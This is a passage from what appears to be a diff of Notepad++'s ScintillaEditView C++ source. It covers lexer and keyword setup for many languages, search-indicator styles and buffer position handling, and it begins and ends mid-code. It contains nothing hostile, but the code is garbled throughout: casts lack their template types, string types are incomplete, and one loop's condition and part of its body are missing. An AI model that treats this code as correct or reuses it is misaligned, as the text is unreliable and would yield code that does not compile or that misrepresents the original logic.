wmc->wchar2char(userLangContainer->_keywordLists[i], codepage); + + if (globalMappper().setLexerMapper.find(i) != globalMappper().setLexerMapper.end()) + { + execute(SCI_SETPROPERTY, reinterpret_cast(globalMappper().setLexerMapper[i].c_str()), reinterpret_cast(keyWords_char)); + } + else // OPERATORS2, FOLDERS_IN_CODE2, FOLDERS_IN_COMMENT, KEYWORDS1-8 + { + char temp[max_char]; + bool inDoubleQuote = false; + bool inSingleQuote = false; + bool nonWSFound = false; + int index = 0; + for (size_t j=0, len = strlen(keyWords_char); j ' ') // copy non-whitespace unconditionally + { + temp[index++] = keyWords_char[j]; + if (nonWSFound == false) + nonWSFound = true; + } + else if (nonWSFound == true && keyWords_char[j-1] != '"' && keyWords_char[j+1] != '"' && keyWords_char[j+1] > ' ') + { + temp[index++] = inDoubleQuote ? '\v' : '\b'; + } + else + continue; + } + else + { + temp[index++] = keyWords_char[j]; + } + + } + temp[index++] = 0; + execute(SCI_SETKEYWORDS, setKeywordsCounter++, reinterpret_cast(temp)); + } + } + + char intBuffer[15]; + char nestingBuffer[] = "userDefine.nesting.00"; + + itoa(userLangContainer->_forcePureLC, intBuffer, 10); + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.forcePureLC"), reinterpret_cast(intBuffer)); + + itoa(userLangContainer->_decimalSeparator, intBuffer, 10); + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.decimalSeparator"), reinterpret_cast(intBuffer)); + + // at the end (position SCE_USER_KWLIST_TOTAL) send id values + itoa(reinterpret_cast(userLangContainer->getName()), intBuffer, 10); // use numeric value of TCHAR pointer + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.udlName"), reinterpret_cast(intBuffer)); + + itoa(reinterpret_cast(_currentBufferID), intBuffer, 10); // use numeric value of BufferID pointer + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.currentBufferID"), reinterpret_cast(intBuffer)); + + for (int i = 0 ; i < SCE_USER_STYLE_TOTAL_STYLES ; ++i) + { + Style & style = userLangContainer->_styleArray.getStyler(i); + + if (style._styleID == STYLE_NOT_USED) + continue; + + if (i < 10) itoa(i, (nestingBuffer+20), 10); + else itoa(i, (nestingBuffer+19), 10); + execute(SCI_SETPROPERTY, reinterpret_cast(nestingBuffer), reinterpret_cast(itoa(style._nesting, intBuffer, 10))); + + setStyle(style); + } +} + +void ScintillaEditView::setExternalLexer(LangType typeDoc) +{ + int id = typeDoc - L_EXTERNAL; + TCHAR * name = _pParameter->getELCFromIndex(id)._name; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char *pName = wmc->wchar2char(name, CP_ACP); + + execute(SCI_SETLEXERLANGUAGE, 0, reinterpret_cast(pName)); + + LexerStyler *pStyler = (_pParameter->getLStylerArray()).getLexerStylerByName(name); + if (pStyler) + { + for (int i = 0 ; i < pStyler->getNbStyler() ; ++i) + { + Style & style = pStyler->getStyler(i); + + setStyle(style); + + if (style._keywordClass >= 0 && style._keywordClass <= KEYWORDSET_MAX) + { + basic_string keywordList(""); + if (style._keywords) + { + keywordList = wstring2string(*(style._keywords), CP_ACP); + } + execute(SCI_SETKEYWORDS, style._keywordClass, reinterpret_cast(getCompleteKeywordList(keywordList, typeDoc, style._keywordClass))); + } + } + } +} + +void ScintillaEditView::setCppLexer(LangType langType) +{ + const char *cppInstrs; + const char *cppTypes; + const TCHAR *doxygenKeyWords = _pParameter->getWordList(L_CPP, LANG_INDEX_TYPE2); + + execute(SCI_SETLEXER, SCLEX_CPP); + + if (langType != L_RC) + { + if (doxygenKeyWords) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char * doxygenKeyWords_char = wmc->wchar2char(doxygenKeyWords, CP_ACP); + execute(SCI_SETKEYWORDS, 2, reinterpret_cast(doxygenKeyWords_char)); + } + } + + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + makeStyle(langType, pKwArray); + + basic_string keywordListInstruction(""); + basic_string keywordListType(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordListInstruction = wstring2string(kwlW, CP_ACP); + } + cppInstrs = getCompleteKeywordList(keywordListInstruction, langType, LANG_INDEX_INSTR); + + if (pKwArray[LANG_INDEX_TYPE]) + { + basic_string kwlW = pKwArray[LANG_INDEX_TYPE]; + keywordListType = wstring2string(kwlW, CP_ACP); + } + cppTypes = getCompleteKeywordList(keywordListType, langType, LANG_INDEX_TYPE); + + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(cppInstrs)); + execute(SCI_SETKEYWORDS, 1, reinterpret_cast(cppTypes)); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold.comment"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); + + // Disable track preprocessor to avoid incorrect detection. + // In the most of cases, the symbols are defined outside of file. + execute(SCI_SETPROPERTY, reinterpret_cast("lexer.cpp.track.preprocessor"), reinterpret_cast("0")); +} + +void ScintillaEditView::setJsLexer() +{ + const TCHAR *doxygenKeyWords = _pParameter->getWordList(L_CPP, LANG_INDEX_TYPE2); + + execute(SCI_SETLEXER, SCLEX_CPP); + const TCHAR *pKwArray[10] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; + makeStyle(L_JAVASCRIPT, pKwArray); + + if (doxygenKeyWords) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char * doxygenKeyWords_char = wmc->wchar2char(doxygenKeyWords, CP_ACP); + execute(SCI_SETKEYWORDS, 2, reinterpret_cast(doxygenKeyWords_char)); + } + + const TCHAR *newLexerName = ScintillaEditView::langNames[L_JAVASCRIPT].lexerName; + LexerStyler *pNewStyler = (_pParameter->getLStylerArray()).getLexerStylerByName(newLexerName); + if (pNewStyler) // New js styler is available, so we can use it do more modern styling + { + for (int i = 0, nb = pNewStyler->getNbStyler(); i < nb; ++i) + { + Style & style = pNewStyler->getStyler(i); + setStyle(style); + } + + basic_string keywordListInstruction(""); + basic_string keywordListType(""); + basic_string keywordListInstruction2(""); + + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordListInstruction = wstring2string(kwlW, CP_ACP); + } + const char *jsInstrs = getCompleteKeywordList(keywordListInstruction, L_JAVASCRIPT, LANG_INDEX_INSTR); + + if (pKwArray[LANG_INDEX_TYPE]) + { + basic_string kwlW = pKwArray[LANG_INDEX_TYPE]; + keywordListType = wstring2string(kwlW, CP_ACP); + } + const char *jsTypes = getCompleteKeywordList(keywordListType, L_JAVASCRIPT, LANG_INDEX_TYPE); + + if (pKwArray[LANG_INDEX_INSTR2]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR2]; + keywordListInstruction2 = wstring2string(kwlW, CP_ACP); + } + const char *jsInstrs2 = getCompleteKeywordList(keywordListInstruction2, L_JAVASCRIPT, LANG_INDEX_INSTR2); + + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(jsInstrs)); + execute(SCI_SETKEYWORDS, 1, reinterpret_cast(jsTypes)); + execute(SCI_SETKEYWORDS, 3, reinterpret_cast(jsInstrs2)); + } + else // New js styler is not available, we use the old styling for the sake of retro-compatibility + { + const TCHAR *lexerName = ScintillaEditView::langNames[L_JS].lexerName; + LexerStyler *pOldStyler = (_pParameter->getLStylerArray()).getLexerStylerByName(lexerName); + + if (pOldStyler) + { + for (int i = 0, nb = pOldStyler->getNbStyler(); i < nb; ++i) + { + Style style = pOldStyler->getStyler(i); //not by reference, but copy + int cppID = style._styleID; + + switch (style._styleID) + { + case SCE_HJ_DEFAULT: cppID = SCE_C_DEFAULT; break; + case SCE_HJ_WORD: cppID = SCE_C_IDENTIFIER; break; + case SCE_HJ_SYMBOLS: cppID = SCE_C_OPERATOR; break; + case SCE_HJ_COMMENT: cppID = SCE_C_COMMENT; break; + case SCE_HJ_COMMENTLINE: cppID = SCE_C_COMMENTLINE; break; + case SCE_HJ_COMMENTDOC: cppID = SCE_C_COMMENTDOC; break; + case SCE_HJ_NUMBER: cppID = SCE_C_NUMBER; break; + case SCE_HJ_KEYWORD: cppID = SCE_C_WORD; break; + case SCE_HJ_DOUBLESTRING: cppID = SCE_C_STRING; break; + case SCE_HJ_SINGLESTRING: cppID = SCE_C_CHARACTER; break; + case SCE_HJ_REGEX: cppID = SCE_C_REGEX; break; + } + style._styleID = cppID; + setStyle(style); + } + } + execute(SCI_STYLESETEOLFILLED, SCE_C_DEFAULT, true); + execute(SCI_STYLESETEOLFILLED, SCE_C_COMMENTLINE, true); + execute(SCI_STYLESETEOLFILLED, SCE_C_COMMENT, true); + execute(SCI_STYLESETEOLFILLED, SCE_C_COMMENTDOC, true); + + makeStyle(L_JS, pKwArray); + + basic_string keywordListInstruction(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordListInstruction = wstring2string(kwlW, CP_ACP); + } + const char *jsEmbeddedInstrs = getCompleteKeywordList(keywordListInstruction, L_JS, LANG_INDEX_INSTR); + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(jsEmbeddedInstrs)); + } + + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold.comment"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); + + // Disable track preprocessor to avoid incorrect detection. + // In the most of cases, the symbols are defined outside of file. + execute(SCI_SETPROPERTY, reinterpret_cast("lexer.cpp.track.preprocessor"), reinterpret_cast("0")); + execute(SCI_SETPROPERTY, reinterpret_cast("lexer.cpp.backquoted.strings"), reinterpret_cast("1")); +} + +void ScintillaEditView::setTclLexer() +{ + const char *tclInstrs; + const char *tclTypes; + + + execute(SCI_SETLEXER, SCLEX_TCL); + + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + makeStyle(L_TCL, pKwArray); + + basic_string keywordListInstruction(""); + basic_string keywordListType(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordListInstruction = wstring2string(kwlW, CP_ACP); + } + tclInstrs = getCompleteKeywordList(keywordListInstruction, L_TCL, LANG_INDEX_INSTR); + + if (pKwArray[LANG_INDEX_TYPE]) + { + basic_string kwlW = pKwArray[LANG_INDEX_TYPE]; + keywordListType = wstring2string(kwlW, CP_ACP); + } + tclTypes = getCompleteKeywordList(keywordListType, L_TCL, LANG_INDEX_TYPE); + + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(tclInstrs)); + execute(SCI_SETKEYWORDS, 1, reinterpret_cast(tclTypes)); +} + +void ScintillaEditView::setObjCLexer(LangType langType) +{ + execute(SCI_SETLEXER, SCLEX_OBJC); + + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + + makeStyle(langType, pKwArray); + + basic_string objcInstr1Kwl(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + objcInstr1Kwl = wstring2string(pKwArray[LANG_INDEX_INSTR], CP_ACP); + } + const char *objcInstrs = getCompleteKeywordList(objcInstr1Kwl, langType, LANG_INDEX_INSTR); + + basic_string objcInstr2Kwl(""); + if (pKwArray[LANG_INDEX_INSTR2]) + { + objcInstr2Kwl = wstring2string(pKwArray[LANG_INDEX_INSTR2], CP_ACP); + } + const char *objCDirective = getCompleteKeywordList(objcInstr2Kwl, langType, LANG_INDEX_INSTR2); + + basic_string objcTypeKwl(""); + if (pKwArray[LANG_INDEX_TYPE]) + { + objcTypeKwl = wstring2string(pKwArray[LANG_INDEX_TYPE], CP_ACP); + } + const char *objcTypes = getCompleteKeywordList(objcTypeKwl, langType, LANG_INDEX_TYPE); + + + basic_string objcType2Kwl(""); + if (pKwArray[LANG_INDEX_TYPE2]) + { + objcType2Kwl = wstring2string(pKwArray[LANG_INDEX_TYPE2], CP_ACP); + } + const char *objCQualifier = getCompleteKeywordList(objcType2Kwl, langType, LANG_INDEX_TYPE2); + + + + basic_string doxygenKeyWordsString(""); + const TCHAR *doxygenKeyWordsW = _pParameter->getWordList(L_CPP, LANG_INDEX_TYPE2); + if (doxygenKeyWordsW) + { + doxygenKeyWordsString = wstring2string(doxygenKeyWordsW, CP_ACP); + } + const char *doxygenKeyWords = doxygenKeyWordsString.c_str(); + + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(objcInstrs)); + execute(SCI_SETKEYWORDS, 1, reinterpret_cast(objcTypes)); + execute(SCI_SETKEYWORDS, 2, reinterpret_cast(doxygenKeyWords)); + execute(SCI_SETKEYWORDS, 3, reinterpret_cast(objCDirective)); + execute(SCI_SETKEYWORDS, 4, reinterpret_cast(objCQualifier)); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold.comment"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); +} + +void ScintillaEditView::setKeywords(LangType langType, const char *keywords, int index) +{ + std::basic_string wordList; + wordList = (keywords)?keywords:""; + execute(SCI_SETKEYWORDS, index, reinterpret_cast(getCompleteKeywordList(wordList, langType, index))); +} + +void ScintillaEditView::setLexer(int lexerID, LangType langType, int whichList) +{ + execute(SCI_SETLEXER, lexerID); + + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + + makeStyle(langType, pKwArray); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + if (whichList & LIST_0) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_INSTR], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_INSTR); + } + + if (whichList & LIST_1) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_INSTR2], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_INSTR2); + } + + if (whichList & LIST_2) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_TYPE], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_TYPE); + } + + if (whichList & LIST_3) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_TYPE2], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_TYPE2); + } + + if (whichList & LIST_4) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_TYPE3], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_TYPE3); + } + + if (whichList & LIST_5) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_TYPE4], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_TYPE4); + } + + if (whichList & LIST_6) + { + const char * keyWords_char = wmc->wchar2char(pKwArray[LANG_INDEX_TYPE5], CP_ACP); + setKeywords(langType, keyWords_char, LANG_INDEX_TYPE5); + } + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold.comment"), reinterpret_cast("1")); +} + +void ScintillaEditView::makeStyle(LangType language, const TCHAR **keywordArray) +{ + const TCHAR * lexerName = ScintillaEditView::langNames[language].lexerName; + LexerStyler *pStyler = (_pParameter->getLStylerArray()).getLexerStylerByName(lexerName); + if (pStyler) + { + for (int i = 0, nb = pStyler->getNbStyler(); i < nb ; ++i) + { + Style & style = pStyler->getStyler(i); + setStyle(style); + if (keywordArray) + { + if ((style._keywordClass != STYLE_NOT_USED) && (style._keywords)) + keywordArray[style._keywordClass] = style._keywords->c_str(); + } + } + } +} + +void ScintillaEditView::restoreDefaultWordChars() +{ + execute(SCI_SETWORDCHARS, 0, reinterpret_cast(_defaultCharList.c_str())); +} + +void ScintillaEditView::addCustomWordChars() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + const NppGUI & nppGUI = pNppParam->getNppGUI(); + + if (nppGUI._customWordChars.empty()) + return; + + string chars2addStr; + for (size_t i = 0; i < nppGUI._customWordChars.length(); ++i) + { + bool found = false; + char char2check = nppGUI._customWordChars[i]; + for (size_t j = 0; j < _defaultCharList.length(); ++j) + { + char wordChar = _defaultCharList[j]; + if (char2check == wordChar) + { + found = true; + break; + } + } + if (not found) + { + chars2addStr.push_back(char2check); + } + } + + if (not chars2addStr.empty()) + { + string newCharList = _defaultCharList; + newCharList += chars2addStr; + execute(SCI_SETWORDCHARS, 0, reinterpret_cast(newCharList.c_str())); + } +} + +void ScintillaEditView::setWordChars() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + const NppGUI & nppGUI = pNppParam->getNppGUI(); + if (nppGUI._isWordCharDefault) + restoreDefaultWordChars(); + else + addCustomWordChars(); +} + +void ScintillaEditView::defineDocType(LangType typeDoc) +{ + StyleArray & stylers = _pParameter->getMiscStylerArray(); + int iStyleDefault = stylers.getStylerIndexByID(STYLE_DEFAULT); + if (iStyleDefault != -1) + { + Style & styleDefault = stylers.getStyler(iStyleDefault); + styleDefault._colorStyle = COLORSTYLE_ALL; //override transparency + setStyle(styleDefault); + } + + execute(SCI_STYLECLEARALL); + + Style *pStyle; + Style defaultIndicatorStyle; + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE; + defaultIndicatorStyle._bgColor = red; + pStyle = &defaultIndicatorStyle; + int iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_SMART; + defaultIndicatorStyle._bgColor = liteGreen; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_SMART); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_INC; + defaultIndicatorStyle._bgColor = blue; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_INC); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_TAGMATCH; + defaultIndicatorStyle._bgColor = RGB(0x80, 0x00, 0xFF); + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_TAGMATCH); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_TAGATTR; + defaultIndicatorStyle._bgColor = yellow; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_TAGATTR); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT1; + defaultIndicatorStyle._bgColor = cyan; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_EXT1); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT2; + defaultIndicatorStyle._bgColor = orange; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_EXT2); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT3; + defaultIndicatorStyle._bgColor = yellow; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_EXT3); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT4; + defaultIndicatorStyle._bgColor = purple; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_EXT4); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + defaultIndicatorStyle._styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT5; + defaultIndicatorStyle._bgColor = darkGreen; + pStyle = &defaultIndicatorStyle; + iFind = stylers.getStylerIndexByID(SCE_UNIVERSAL_FOUND_STYLE_EXT5); + if (iFind != -1) + { + pStyle = &(stylers.getStyler(iFind)); + } + setSpecialIndicator(*pStyle); + + // Il faut surtout faire un test ici avant d'exécuter SCI_SETCODEPAGE + // Sinon y'aura un soucis de performance! + if (isCJK()) + { + if (getCurrentBuffer()->getUnicodeMode() == uni8Bit) + { + if (typeDoc == L_CSS || typeDoc == L_CAML || typeDoc == L_ASM || typeDoc == L_MATLAB) + execute(SCI_SETCODEPAGE, CP_ACP); + else + execute(SCI_SETCODEPAGE, _codepage); + } + } + + ScintillaViewParams & svp = (ScintillaViewParams &)_pParameter->getSVP(); + if (svp._folderStyle != FOLDER_STYLE_NONE) + showMargin(_SC_MARGE_FOLDER, isNeededFolderMarge(typeDoc)); + + switch (typeDoc) + { + case L_C : + case L_CPP : + case L_JAVA : + case L_RC : + case L_CS : + case L_FLASH : + case L_SWIFT: + setCppLexer(typeDoc); break; + + case L_JS: + case L_JAVASCRIPT: + setJsLexer(); break; + + case L_TCL : + setTclLexer(); break; + + + case L_OBJC : + setObjCLexer(typeDoc); break; + + case L_PHP : + case L_ASP : + case L_JSP : + case L_HTML : + case L_XML : + setXmlLexer(typeDoc); break; + + case L_JSON: + setJsonLexer(); break; + + case L_CSS : + setCssLexer(); break; + + case L_LUA : + setLuaLexer(); break; + + case L_MAKEFILE : + setMakefileLexer(); break; + + case L_INI : + setIniLexer(); break; + + case L_USER : { + const TCHAR * langExt = _currentBuffer->getUserDefineLangName(); + if (langExt[0]) + setUserLexer(langExt); + else + setUserLexer(); + break; } + + case L_ASCII : + { + LexerStyler *pStyler = (_pParameter->getLStylerArray()).getLexerStylerByName(TEXT("nfo")); + + Style nfoStyle; + nfoStyle._styleID = STYLE_DEFAULT; + nfoStyle._fontName = TEXT("Lucida Console"); + nfoStyle._fontSize = 10; + + if (pStyler) + { + int i = pStyler->getStylerIndexByName(TEXT("DEFAULT")); + if (i != -1) + { + Style & style = pStyler->getStyler(i); + nfoStyle._bgColor = style._bgColor; + nfoStyle._fgColor = style._fgColor; + nfoStyle._colorStyle = style._colorStyle; + } + } + setSpecialStyle(nfoStyle); + execute(SCI_STYLECLEARALL); + + Buffer * buf = MainFileManager->getBufferByID(_currentBufferID); + + if (buf->getEncoding() != NPP_CP_DOS_437) + { + buf->setEncoding(NPP_CP_DOS_437); + ::SendMessage(_hParent, WM_COMMAND, IDM_FILE_RELOAD, 0); + } + } + break; + + case L_SQL : + setSqlLexer(); break; + + case L_VB : + setVBLexer(); break; + + case L_PASCAL : + setPascalLexer(); break; + + case L_PERL : + setPerlLexer(); break; + + case L_PYTHON : + setPythonLexer(); break; + + case L_BATCH : + setBatchLexer(); break; + + case L_TEX : + setTeXLexer(); break; + + case L_NSIS : + setNsisLexer(); break; + + case L_BASH : + setBashLexer(); break; + + case L_FORTRAN : + setFortranLexer(); break; + + case L_FORTRAN_77 : + setFortran77Lexer(); break; + + case L_LISP : + setLispLexer(); break; + + case L_SCHEME : + setSchemeLexer(); break; + + case L_ASM : + setAsmLexer(); break; + + case L_DIFF : + setDiffLexer(); break; + + case L_PROPS : + setPropsLexer(); break; + + case L_PS : + setPostscriptLexer(); break; + + case L_RUBY : + setRubyLexer(); break; + + case L_SMALLTALK : + setSmalltalkLexer(); break; + + case L_VHDL : + setVhdlLexer(); break; + + case L_KIX : + setKixLexer(); break; + + case L_CAML : + setCamlLexer(); break; + + case L_ADA : + setAdaLexer(); break; + + case L_VERILOG : + setVerilogLexer(); break; + + case L_AU3 : + setAutoItLexer(); break; + + case L_MATLAB : + setMatlabLexer(); break; + + case L_HASKELL : + setHaskellLexer(); break; + + case L_INNO : + setInnoLexer(); break; + + case L_CMAKE : + setCmakeLexer(); break; + + case L_YAML : + setYamlLexer(); break; + + case L_COBOL : + setCobolLexer(); break; + + case L_GUI4CLI : + setGui4CliLexer(); break; + + case L_D : + setDLexer(); break; + + case L_POWERSHELL : + setPowerShellLexer(); break; + + case L_R : + setRLexer(); break; + + case L_COFFEESCRIPT : + setCoffeeScriptLexer(); break; + + case L_BAANC: + setBaanCLexer(); break; + + case L_SREC : + setSrecLexer(); break; + + case L_IHEX : + setIHexLexer(); break; + + case L_TEHEX : + setTEHexLexer(); break; + + case L_ASN1 : + setAsn1Lexer(); break; + + case L_AVS : + setAVSLexer(); break; + + case L_BLITZBASIC : + setBlitzBasicLexer(); break; + + case L_PUREBASIC : + setPureBasicLexer(); break; + + case L_FREEBASIC : + setFreeBasicLexer(); break; + + case L_CSOUND : + setCsoundLexer(); break; + + case L_ERLANG : + setErlangLexer(); break; + + case L_ESCRIPT : + setESCRIPTLexer(); break; + + case L_FORTH : + setForthLexer(); break; + + case L_LATEX : + setLatexLexer(); break; + + case L_MMIXAL : + setMMIXALLexer(); break; + + case L_NIMROD : + setNimrodLexer(); break; + + case L_NNCRONTAB : + setNncrontabLexer(); break; + + case L_OSCRIPT : + setOScriptLexer(); break; + + case L_REBOL : + setREBOLLexer(); break; + + case L_REGISTRY : + setRegistryLexer(); break; + + case L_RUST : + setRustLexer(); break; + + case L_SPICE : + setSpiceLexer(); break; + + case L_TXT2TAGS : + setTxt2tagsLexer(); break; + + case L_VISUALPROLOG: + setVisualPrologLexer(); break; + + case L_TEXT : + default : + if (typeDoc >= L_EXTERNAL && typeDoc < _pParameter->L_END) + setExternalLexer(typeDoc); + else + execute(SCI_SETLEXER, (_codepage == CP_CHINESE_TRADITIONAL)?SCLEX_MAKEFILE:SCLEX_NULL); + break; + + } + //All the global styles should put here + int indexOfIndentGuide = stylers.getStylerIndexByID(STYLE_INDENTGUIDE); + if (indexOfIndentGuide != -1) + { + Style & styleIG = stylers.getStyler(indexOfIndentGuide); + setStyle(styleIG); + } + int indexOfBraceLight = stylers.getStylerIndexByID(STYLE_BRACELIGHT); + if (indexOfBraceLight != -1) + { + Style & styleBL = stylers.getStyler(indexOfBraceLight); + setStyle(styleBL); + } + //setStyle(STYLE_CONTROLCHAR, liteGrey); + int indexBadBrace = stylers.getStylerIndexByID(STYLE_BRACEBAD); + if (indexBadBrace != -1) + { + Style & styleBB = stylers.getStyler(indexBadBrace); + setStyle(styleBB); + } + int indexLineNumber = stylers.getStylerIndexByID(STYLE_LINENUMBER); + if (indexLineNumber != -1) + { + Style & styleLN = stylers.getStyler(indexLineNumber); + setSpecialStyle(styleLN); + } + setTabSettings(_pParameter->getLangFromID(typeDoc)); + + execute(SCI_SETSTYLEBITS, 8); // Always use 8 bit mask in Document class (Document::stylingBitsMask), + // in that way Editor::PositionIsHotspot will return correct hotspot styleID. + // This value has no effect on LexAccessor::mask. +} + +BufferID ScintillaEditView::attachDefaultDoc() +{ + // get the doc pointer attached (by default) on the view Scintilla + Document doc = execute(SCI_GETDOCPOINTER, 0, 0); + execute(SCI_ADDREFDOCUMENT, 0, doc); + BufferID id = MainFileManager->bufferFromDocument(doc, false, true);//true, true); //keep counter on 1 + Buffer * buf = MainFileManager->getBufferByID(id); + + MainFileManager->addBufferReference(id, this); //add a reference. Notepad only shows the buffer in tabbar + + _currentBufferID = id; + _currentBuffer = buf; + bufferUpdated(buf, BufferChangeMask); //make sure everything is in sync with the buffer, since no reference exists + + return id; +} + +void ScintillaEditView::saveCurrentPos() +{ + //Save data so, that the current topline becomes visible again after restoring. + int32_t displayedLine = static_cast(execute(SCI_GETFIRSTVISIBLELINE)); + int32_t docLine = static_cast(execute(SCI_DOCLINEFROMVISIBLE, displayedLine)); //linenumber of the line displayed in the top + //int offset = displayedLine - execute(SCI_VISIBLEFROMDOCLINE, docLine); //use this to calc offset of wrap. If no wrap this should be zero + + Buffer * buf = MainFileManager->getBufferByID(_currentBufferID); + + Position pos; + // the correct visible line number + pos._firstVisibleLine = docLine; + pos._startPos = static_cast(execute(SCI_GETANCHOR)); + pos._endPos = static_cast(execute(SCI_GETCURRENTPOS)); + pos._xOffset = static_cast(execute(SCI_GETXOFFSET)); + pos._selMode = static_cast(execute(SCI_GETSELECTIONMODE)); + pos._scrollWidth = static_cast(execute(SCI_GETSCROLLWIDTH)); + + buf->setPosition(pos, this); +} + +void ScintillaEditView::restoreCurrentPos() +{ + Buffer * buf = MainFileManager->getBufferByID(_currentBufferID); + Position & pos = buf->getPosition(this); + + execute(SCI_GOTOPOS, 0); //make sure first line visible by setting caret there, will scroll to top of document + + 